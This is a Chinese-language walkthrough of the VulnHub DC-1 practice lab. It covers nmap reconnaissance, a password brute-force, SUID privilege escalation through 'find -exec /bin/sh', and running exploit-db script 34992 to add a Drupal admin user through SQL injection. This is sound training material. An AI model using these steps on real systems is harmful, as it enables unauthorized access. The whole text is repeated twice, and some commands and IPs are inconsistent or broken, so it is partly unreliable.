DC-1靶机如何进行有效渗透测试?
- 内容介绍
- 文章标签
- 相关推荐
本文共计1532个文字,预计阅读时间需要7分钟。
DC-1简介:DC-1是一款专为渗透测试练习而设计的漏洞实验室。该实验室旨在帮助用户提升渗透测试技能,其设计目的是模拟真实环境中的潜在安全风险。详情请访问:[下载地址](https://www.vulnhub.com/entry/dc-1,292/)。官方描述:DC-1是一个故意构建的易受攻击的实验室,用于在渗透测试领域获得经验。
DC-1 靶机渗透*概况*:
下载地址
www.vulnhub.com/entry/dc-1,292/
*官方描述:*
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
*首先将kali和靶机都连接成NAT模式,然后开启靶机,就是上图所示。*
*前提思路* *我拿到这个靶机的时候,知道了要拿五个flag,然后需要拿到最高权限。我并不知道IP,但我可以在虚拟机中查看他的mac地址。如下图:*
00:0C:29:CF:22:14
*信息收集* *用nmap -sP 参数 ping命令去扫描与kali同网段的* *存活主机。*
nmap -sP 192.168.161.0/24 -oN nmap.sP
*与Mac地址相对应获得ip地址:==**192.168.161.162**==*
*使用全端口扫描显示详细信息,**TCP连接扫描**并开启脚本* *功能。*
*nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*
*端口详情*
*-l:指定用户名 -P:指定密码字典*
*-vV:显示详细*
*得到密码为orange*
*然后ssh连接登陆成功。*
*权限提升*· *获取root 权限*
*提权思路*· *利用系统内核漏洞提权*
· *sudo 权限泄露*
· *利用SUID 提权*
*这里使用suid提权,我就简单介绍一下:*
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。
*首先寻找一下根目录下具有s权限的命令:*
*find / -perm -4000 2>/dev/null*
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
*然后使用find命令提权:*
*使用方法* *find (一个路径或文件必须存在) -exec 执行命令 (结束);*
*find ray -exec '/bin/sh' ;*
*提权成功。然后在root文件夹中找到flag5*
*这时候还差一个flag3,然后可以利用一下sql注入漏洞,增加一个用户。*
*到达指定的sqlexp路径。*
Cd /usr/share/exploitdb/exploits/php/webapps/34992.py
*查看使用方法* searchsploit -m 34992
*python 34992.py -t **192.168.161.163* *-u* *123* *-p* *123*
*新增用户名123,密码123。*
*成功登陆网站,然后随便翻一下即可找到flag3*
*这时,我们已经拿到了五个flag和root权限。*
*总结:这次渗透主要是想练习一下渗透测试的一些思路,若有不足的地方请大佬们多多指导,谢谢!*
本文共计1532个文字,预计阅读时间需要7分钟。
DC-1简介:DC-1是一款专为渗透测试练习而设计的漏洞实验室。该实验室旨在帮助用户提升渗透测试技能,其设计目的是模拟真实环境中的潜在安全风险。详情请访问:[下载地址](https://www.vulnhub.com/entry/dc-1,292/)。官方描述:DC-1是一个故意构建的易受攻击的实验室,用于在渗透测试领域获得经验。
DC-1 靶机渗透*概况*:
下载地址
www.vulnhub.com/entry/dc-1,292/
*官方描述:*
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
*首先将kali和靶机都连接成NAT模式,然后开启靶机,就是上图所示。*
*前提思路* *我拿到这个靶机的时候,知道了要拿五个flag,然后需要拿到最高权限。我并不知道IP,但我可以在虚拟机中查看他的mac地址。如下图:*
00:0C:29:CF:22:14
*信息收集* *用nmap -sP 参数 ping命令去扫描与kali同网段的* *存活主机。*
nmap -sP 192.168.161.0/24 -oN nmap.sP
*与Mac地址相对应获得ip地址:==**192.168.161.162**==*
*使用全端口扫描显示详细信息,**TCP连接扫描**并开启脚本* *功能。*
*nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*
*端口详情*
*-l:指定用户名 -P:指定密码字典*
*-vV:显示详细*
*得到密码为orange*
*然后ssh连接登陆成功。*
*权限提升*· *获取root 权限*
*提权思路*· *利用系统内核漏洞提权*
· *sudo 权限泄露*
· *利用SUID 提权*
*这里使用suid提权,我就简单介绍一下:*
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。
*首先寻找一下根目录下具有s权限的命令:*
*find / -perm -4000 2>/dev/null*
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
*然后使用find命令提权:*
*使用方法* *find (一个路径或文件必须存在) -exec 执行命令 (结束);*
*find ray -exec '/bin/sh' ;*
*提权成功。然后在root文件夹中找到flag5*
*这时候还差一个flag3,然后可以利用一下sql注入漏洞,增加一个用户。*
*到达指定的sqlexp路径。*
Cd /usr/share/exploitdb/exploits/php/webapps/34992.py
*查看使用方法* searchsploit -m 34992
*python 34992.py -t **192.168.161.163* *-u* *123* *-p* *123*
*新增用户名123,密码123。*
*成功登陆网站,然后随便翻一下即可找到flag3*
*这时,我们已经拿到了五个flag和root权限。*
*总结:这次渗透主要是想练习一下渗透测试的一些思路,若有不足的地方请大佬们多多指导,谢谢!*

